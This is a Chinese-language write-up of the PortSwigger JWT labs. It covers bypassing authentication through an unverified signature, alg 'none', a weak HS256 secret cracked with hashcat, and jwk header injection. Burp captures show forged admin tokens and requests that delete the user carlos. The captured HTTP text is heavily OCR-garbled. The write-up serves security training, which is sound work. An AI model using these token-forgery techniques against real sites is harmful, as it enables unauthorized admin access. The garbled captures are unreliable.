靶场地址：https://portswigger.net/web-security/all-labs#jwt
通过未验证的签名绕过 JWT 身份验证
任务：修改会话令牌访问管理面板/admin，然后删除用户carlos。
登录帐户：wiener:peter
1、在burp的应用市场中下载【JWT Editor】
[image: ]
2、登录系统后，在【http history】中发现有高亮部分，点击后发现高亮部分都是使用了JWT认证。
[image: ]
3、点击【/my-account?id=wiener】路径的请求包，发送到repeater模块中，在【JSON Web Token】模块中自动解码了JWT的头部和Payload部分。
[image: ]
4、将Payload部分的wiener换为administrator，路径修改为/admin
[image: ]
请求成功
[image: ]
5、在响应包的模块【render】中发现delete功能。
[image: ]
6、找到删除用户的链接，/admin/delete?username=carlos
[image: ]
7、删除成功
[image: ]
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通过有缺陷的签名验证绕过 JWT 身份验证
任务：修改会话令牌以访问管理面板/admin，然后删除用户carlos。
登录帐户：wiener:peter
1、使用账户登陆后，同样有高亮部分为JWT认证模式。
[image: ]
2、修改原有名称，改为administrator，再访问/admin路径。
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报了401，缺乏目标资源要求的身份验证凭证。
3、原有的签名算法为RS256，现在修改none会怎么样呢？
如果服务端支持 "alg": "none" 且不做验证，攻击者就可以删除签名绕过验证。
[image: ]
然后在JWT字符中删除掉签名部分，保留点.。
[image: ]
4、找到删除用户链接。
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5、删除成功。
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通过弱签名密钥绕过 JWT 身份验证
任务：暴力破解网站的密钥，获取密钥后，用它对修改后的会话令牌进行签名，访问管理面板的权限/admin，然后删除该用户carlos。
登录帐户：wiener:peter
1、修改Payload中的sub为administrator，然后访问/admin路径
[image: ]
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2、复制JWT的值，通过kali中的hashcat破解密钥。
eyJraWQiOiIwZmRmYjNiYy1mMDE2LTQ5NDItYTEyNy05YWFmOWFhZjYxNTMiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1NTA3NDAwOCwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.X-jEPb4bwH7ybTwSCRWL4MoVm_6P1Eww2cOORLkZIvA

字典：https://github.com/wallarm/jwt-secrets/blob/master/jwt.secrets.list
密钥为：secret1
3、伪造签名密钥，在【JWT Editor】插件中，选择新创建一对密钥。
[image: ]
4、点击生成。
[image: ]
5、将密钥secret1进行Base64编码后，替换掉生成的K值。
[image: ]
点击ok
6、返回响应包中的【JSON Web Token】选项卡，点击sign，选择生成的密钥。
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[image: ]
7、再次选择发包，响应码为200，成功。
[image: ]
8、成功删除。
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通过 jwk 标头注入绕过 JWT 身份验证
任务：修改并签署一个 JWT，该 JWT 允许您访问 的管理面板/admin，然后删除用户carlos。
登录帐户：wiener:peter
1、登录账户后，观察请求包，发现当前的JWT签名算法为【RS256】。
[image: ]
2、同样在【JWT Editor】插件中新创建一个RSA的key。
[image: ]
点击生成后，再点击完成
[image: ]
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3、返回请求包中，将payload中的sub修改为administrator
[image: ]
4、点击底部的【Attack】，选择Embedded JWK，出现提示时，选择新生成的 RSA 密钥，然后单击OK。
[image: ]
5、将路径修改为/admin，之后成功访问管理面板。
[image: ]
6、删除成功。
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Content-Type: text/html; charset=utf-8
Cache-Control: no-cache
X-Frame-Options: SAMEORIGIN
Content-Length: 3347

<!DOCTYPE html>
<html>
<head>
<link href=/resources/labheader/css/acadenylabHeader. css rel=stylesheet>
<link href=/resources/css/labs. css rel=stylesheet>
<(titled
IWT authentication bypass via unverified signature
<Jtitle
</head>
<body>
<script sre="/resources/labheader/ js/labHeader. js”>
{Iscript>
<div id="academyLabHeader”>
{section class=" academyLabBanner’ >
<div class=container>

<div class=logo>
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[e7 Tpc3Mi01 Jwh3]0c3dpZ2dIc1 Is ImV4cCIGMTCINTASHTI3MCwic3Vi1 joi TWRtallopc 3Ry YXRve1 T9.

BUnsh6HyGF iwVnaaguJ4q3wZ nICrW8wRhbH4f VHi AbhFUfPL3gxpUvzz_nZyrKpXHySrNVKQ jeLu08X£826sY5Cn930t_Ex50zt
3vLLK6Z498dR1-AMhdDOYD jH_yZ3CNkEgJxmDC1HMbdSEn21AAuYpR1r 2AG6XW_x_R4dZPru00HRe41CcRrFhPOA9_X7masbK7
0sDFXqtxbB_4ExXEr fUaOrw HAeMXNVE_ggE1vYKT IHEoytC5Ms33T6GQR2g11V-b7Jq9z12KVDi_t JeNdddsXdLLnYALrm28Th
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Header
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GET /admin HTTP/2

Host: 0acTWQgf033¢08318205d8£c0007000f. web-security-academy. net
Cookie: sessi
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YPFhcZUPQ

Cache-Control: max-age=0

Accept-Language: zh-CN, zh;q=0. 9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
Chrome/138. 0. 0.0 Safari/537. 36

Accept:

text/htnl, application/shtnl+xml, application/sml;
plication/signed-exchange;v=b3;q=0. 7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec—Ch-Ua: "Not) ";v="8",
Sec-Ch-Ua-Mobile: ?
Sec~Ch-Ua-Platform: “Windows”

Referer: https://0ac500c£033e08318205d8£c0007000f. web-security-acadeny. net/login
Accept-Encoding: gzip, deflate, br

Priority: u=0, i

like Gecko)

=0. 9, inage/avif, image/webp, image/apng, */*;q=0. 8, ap

”Chromium”;v="138"

Response
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1 HITP/2 200 OK

2 Content-Type: text/html; charset=utf-8
3 Cache-Control: no-cache

4 X-Frame-Options: SAMEORIGIN

5 Content-Length: 3138

6
7 <!DOCTYPE html>
8 <html>
9 <head>
10 <link href=/resources/labheader/css/acadenyl
11 <link href=/resources/css/labs. css rel=style
12 <(titled
JWT authentication bypass via unverifie
<Jtitled
13 </head>
<body>
15 ¢script sre="/resources/labheader/ js/labHeac
{Iscript>
16 <div id="academyLabHeader”>
17 {section class=" academyLabBanner’ >
18 <div class=container>
19 <div class=logo>
</div>
20 <div class=title-container>
21 <h2>
JWT authentication
</n2>
22 <a class=link-back href-
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Accept-Encoding: gzip, deflate, br
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1 GET /admin HITP/2 </a>
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3 Cookie: session= |
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xmDC1HMbASEN21AAuYpRIr2AGEXW_x_R4dZPru00HRe41CCRrFhP0A9_XTmasbK 7p0sDFXqtsbB_4ExXErfUaOrw2HAeMXNVE_ 51 (header class="notification-header”>
2gB1vYK7THEOytCAMs33T66QR2g11V-b7Jq9z12KVDi _t JeNdddsXdLLnYALrm28 Thw4T3x_uTqJ9kIhb9zBQ4JzpanSPiELCLI |55 (/header>
YPFhcZUPQ 53 <section>
4 Cache-Control: max-age=0 54 <h1>
5 Accept-Language: zh-CN, zh;q=0.9 Users
6 Upgrade-Insecure-Requests: 1 </nl>
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 55 <div>
Chrome/138. 0. 0.0 Safari/537. 36 56 <span>
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plication/signed-exchange;v=b3;q=0. 7 57 <a href="/admin/delete?username=wiener”>
9 Sec-Fetch-Site: same-origin
0 Sec-Fetch-lode: navigate </a>
1 Sec-Fetch-User: ?1 58 </div>
2 Sec-Fetch-Dest: document 59 <div>
3 Sec~Ch-Ua: "Not)A;Brand”;v="8", "Chromiun”;v="138" 60 <span>
4 Sec~Ch-Ua-Mobile: ?0 carlos -
5 Sec-Ch-Ua-Platform: “Windows” </span>
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8 Priority: u=0, i </a>
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65 <hr>
66 </divy
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69 </div>
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GET /admin/delete?username=carlos| HITP/2

Host: 0ac500c£03308318205d8£c0007000f. web-security-academy. net

Cookie: session=
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Cache-Control: max-age=0
Accept-Language: zh-CN, zh;
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/138. 0. 0.0 Safari/537. 36

Accept:

text/html, application/shtml+xnl, application/xml;q=0. 9, inage/avif, inage/webp, image/apng, */+;a=0. 8, ap
plication/signed-exchange; v=b3;
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Sec~Ch-Ua: "Not)A;Brand”;v="§
Sec-Ch-Ua-Mobile: 20
Sec~Ch-Ua-Platform: “Windows”
Referer: https://0ac500c£033e08318205d8£c0007000f. web-security-acadeny. net/login
Accept-Encoding: gzip, deflate, br

Priority: u=0, i

”Chromium”;
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Location: /admin
X-Frame-Options: SAMEORIGIN
Content-Length: 0
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GET /admin HTTP/2

Host: 0ac500c£03308318205d8£c0007000f. web-security-academy. net

Cookie: session=

eyJralQi0iJiNnQ2MDQ2NSOMGEAL TQ4NDQEOGVENY05M 3 TyMT T1¥RQyNjAiLCThbGei0i JSUZI 1N J9. ey Jpc3Mioi Jwb3J0c3
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xmDC1HMbdSEN21 AAUYPR1r2AGEXW_x_R4dZPru00HRe41CcRrFhPOGAY_X7mashK7p0sDFXqtxbB_4ExXErfUaOrw2HAEMINVE
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YPFhcZUPQ

Cache-Control: max-age=0

Accept-Language: zh-CN, zh;q=0. 9

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/138. 0. 0.0 Safari/537. 36

Accept:
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NpVKNnN3 JnQVIKST JqVRNLNGpGAKFHUVZX TWp1SXd2Q1 ZzUnVtUGFmFVFUUHJDC3e 1 £X0. ey Jpe3Mioi Jwb30c3dpz2dleiIsT
mV4cCI6NTCINTASNTEY0Cwic3Vil joi YWRtaW5pe3Ry YXRvei J9. rtJ46 jTwPti 18e2HT6TOAKptzoY 55 £ vCtUSLZ1qAVr 90KP
63M7WE jcA1xXNGFFUbEA] jpRdpd JHSLw3O0LNH_w]_nlswX5s5Pa jHw1F Y x98PYCTHSWET£LhCENTS5T jol lpalbAwuzwdAgZi sha
bRDxVUSLP4797e4G4B1GALy Tdk3S1wmC41226Wshad9¥ Tpn6K2c jxzX tpalutzMi jxVZzLzfhwvdQVsKkR] Ivs jk j_T600_xbme
cz1Qk8Sx1GG10RED4Thdv8-B-5F i dgFS8O0MEgnEF t1Jd-dy2v4007pYF_62vLZMjlcs-rZkYKo1ARywE Y £7Yz5bTaWRAT-SfA
Cache-Control: max-age=0
Accept-Language: zh-CN, zh;
Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)
Chrome/138. 0. 0.0 Safari/537. 36

Accept:

text/html, application/shtml+xnl, application/xml;q=0. 9, inage/avif, inage/webp, image/apng, */+;a=0. 8, ap
plication/signed-exchange; v=b3; 7
Sec-Fetch-Site: same-origin
navigate

21
Sec-Fetch-Dest: document
Sec~Ch-Ua: "Not)A;Brand”;v="§
Sec-Ch-Ua-Mobile: 20
Sec~Ch-Ua-Platform: “Windows”
Referer: https://0afb007b04fbaT3a80ecT 1bb00600084. web-security-acadeny. net/login
Accept-Encoding: gzip, deflate, br
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"Chromium”

Target: https://0afb007b04fba73a80ec71bb00600084.web-security-acaden
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</p>
</section>
</header>
<header class="notification-header”>
</header>
<section>
<h1>
Users
</hl>
<div>
<span>
wiener -
</span>
<a href="/adnin/delete?usernane=wiener”>

</a>
<Jdiv>
<div>
<spand|
carlos -
</span>
<a href="/adnin/delete?usernane=carlos”>

<fa>
</div>
{/section>
<br>
<hr>
</div>
{/section>
¢div rlace="fanter—wranner”S
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Target: h

Request
Pretty Raw Hex JSON Web Token

GET /admin/delete?username=carlos HITP/2

Host: 0afb007b04fbaT3a80ecT1bb00600084. web-security-academy. net

Cookie: session=

eyJraWQi0i IwZDhnZ Tk4NCOSMGExLTRuMTMt YmU4Yy 1 IM2FmNWZhYZU4ZTE1LCJ0eXA101 JKV1QiLCThbGei01 JSUZT NI IsTmp
3ayI6eyJrdHki0i JSUOEiLCT1I joiQVFBQ1IsImtpZCI6T jBKOGZ10TgOLTewY TELNGY My 11ZTh jLWUZYWY 1ZuF JNThIMSISIm
4101 JOYZRnMHo3Snd4MS 1MV 1pHbHAYb j1LM1A2aUTWZ 1V3N0J6eX 1Ea 1 At dHNSRUSHVmNUemR5WmQybX JEaDBocUxBWk 5KA2 1WT
1NZemRMS2UZR1NWUGx YVnRBMXZRNKR IMHhTRXFhd294VzA4bUt kLWxsMV1G dm4wl jROZIZvckQ3QXp0Qlc5W 9Lezhick 1 feFZy
N19TcDYxV0d jNO5LernMzNEs thHF xQTk2Y 2RRY3FQWVRWcG LMMXho THZ0dks2VG Y t e2pyN1A3SzF 1a2ZUZmZE Y 1 1rS1VNeERHINV
MQWx6d2N3NDk t czhK cDNy Sk9haORpUkxVUULuMINu Yk xhTOf cFp5Z2tK LWk 1UnpX ZXNwUVIqdWVxS2cy dnJwXzNINWE VAWY 2dU
NpVKNmN3 JnQV1KST JqVWNLNGRGdKFHUVZX TWp 1SXd2Q12zUnV tUGFmWVFUUHJDe3c 1 £X0. ey Jpe3Mi0i Jwb3]0c3dpZ2dlei IsT
mV4cCIBMTCINTASNTEYOCwic3Vil joiYWRtaW5pe3Ry YXRveiJ9. rtJ46 jTwPti18e2H]6T0AKptzoY5xf vCtUSLZ1qAVr 90KP
B3M7WE jcA1xXhGFfUbE41 jpRdpd JH5Lw30LNnH_wJ_nlswX5s5Pq jHW1FYx98PYCIH5SWETfLhCENnT57 jol 1palbAwuzwIAgZi jha
bRDxVusLP4797e4G4B1GAlyTdk3SiwmC41226Wxha99¥ TpnbK2c jxzXtpqlutzMi jxVZzLzfhwvdQVsKkR1Ivs jkj_T60o_xbme
©21Qk8Sx16G10RFD4Thdv8-B-3F i dgF S8OMfenEF t17d-dy2v4007TpYF_62vLZMjles-rZk VKol ABywEY£TYz5b IaWRAT-SFA
Cache-Control: max-age=0
Accept-Language: zh=CN, 2

Upgrade-Insecure-Requests: 1
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Response
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HITP/2 302 Found
Location: /admin

1

3 X-Frame-Options: SAMEORIGIN
4 Content-Length: 0
5
6
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BB conce [<[V] > + Burp Al Target: https://0afb007b04f
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1 GET /admin HTTP/2 L

2 Host: 0afb007Tb04fbaT3a80ecT1bb00600084. web-security-acadeny. net WebSecurlty JWT authentication by
3 Cookie: session= injection

eyJralQi0i IwZDhmZ Tk4NCOSMGEXLTRMTMt YmU4Yy 1 IM2FmNWZhVZU4ZTE1LCT0eXA1 01 JKV1QiLCThbGe101 JSUZT INi ISTmp CadEmy 4_‘

3ayI6eyJrdHki0i JSUOB1LCT1I joiQVFBQi IsImtpZCI61 jBKOGZ10TOLTewY TELNG Yxby11ZTh jLIUZYWY1ZuF NThIMSISIn Back to lab description »
4101 JOYZRAMHO3Snd4MS 1MV pHbHAYb j 1LM1 A2aUTWZ1VNO0J6eX 1Eal At dHN3RUSHVNUenR5WmnQybX JEaDBocUsBIkSKd21WT
INZemRMS2UzR1NWUGK YVnRBMX ZRNKR LMHNTRXFhd294VzA4bUtkLIxsMI1Gdndwi JROZ jZvckQ3QXp0Q1 c5W19Lezhck1£eFZy

N19TcDYxV0d jNO5LenMzWES thHF xQTk2Y 2RRY SFQWVRWCG 1MMXho THZOdks 2VG Y £ c2pyN1 A3SZF Ta2ZUZnZf Y1 LrS1VNeERHIIV
MQWx6d2N3NDk t czhK DNy SkOhaORpUk xVUULuMINu Yk xhT0hf cFp5Z2tKLWk 1UnpXZXNwUV9qdWVxS2cy dnJwXzNINWFVARY2dU (@il e ENLERT I LRGENE L]
NpVKNnN3 JnQVIKST JqVRNLNGpGAKFHUVZX TWp1SXd2Q1 ZzUnVtUGFmFVFUUHJDC3e 1 £X0. ey Jpe3Mioi Jwb30c3dpz2dleiIsT

mV4cCIBMTCINTASNTEYOCwic3Vil joiYWRtaW5pe3Ry YXRveiJ9. rtJ46 jTwPti18e2H]6T0AKptzoY5xf vCtUSLZ1qAVr 90KP
B3M7WE jcA1xXhGFfUbE41 jpRdpd JH5Lw30LNnH_wJ_nlswX5s5Pq jHW1FYx98PYCIH5SWETfLhCENnT57 jol 1palbAwuzwIAgZi jha
bRDxVusLP4797e4G4B1GAlyTdk3SiwmC41226Wxha99¥ TpnbK2c jxzXtpqlutzMi jxVZzLzfhwvdQVsKkR1Ivs jkj_T60o_xbme

©21Qk8Sx1GG10RFD4Thdv8-B-3F 1 dgFSBO0MfenEF t1]d-dy2v4007TpYF_62vLZMjlcs-rZk VKol ABYWEY£TYz5bIaWRAT-SfA User deleted successfully!
4 Cache-Control: max-age=0
5 Accept-Language: zh-CN, zh;q=0.9 Users
6 Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) wiener - Delefe

Chrome/138. 0. 0. 0 Safari/537. 36
Accept:
text/htnl, application/xhtml+xml, appllcatlon/xml a=0. 9, image/avif, image/webp, image/apng, */*;q=0. 8, ap
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JWT Editoris a comprehensive tool for analyzing and manipulating JSON Web Tokens (JWTs) within Burp. It provides rich edfiting
capabilities for both JSON Web Signatures JWS) and JSON Web Encryptions (JWE), as well facilitating some of the commor attacks on
JWS implementations and their use within Burp.

Features
« Top-level JWT Editortab for managing cryptographic keys, persistent storage of tokens and extension configuration.
+ Custom JSON Web Token tab within HTTP and WebSocket message editors for viewing and modifying JWTs.
+ Automatic JWT detection and highlighting in HTTP and WebSocket Proxy History.
« Support for signing, verifying, encrypting and decrypting JWTs using stored keys.

Support for a range of common attacks on JWS.

Intruder payload provider for fuzzing within JWS.

« Scanner insertion point provider to allow Burp’s Scanner to insert payloads within JWS headers.








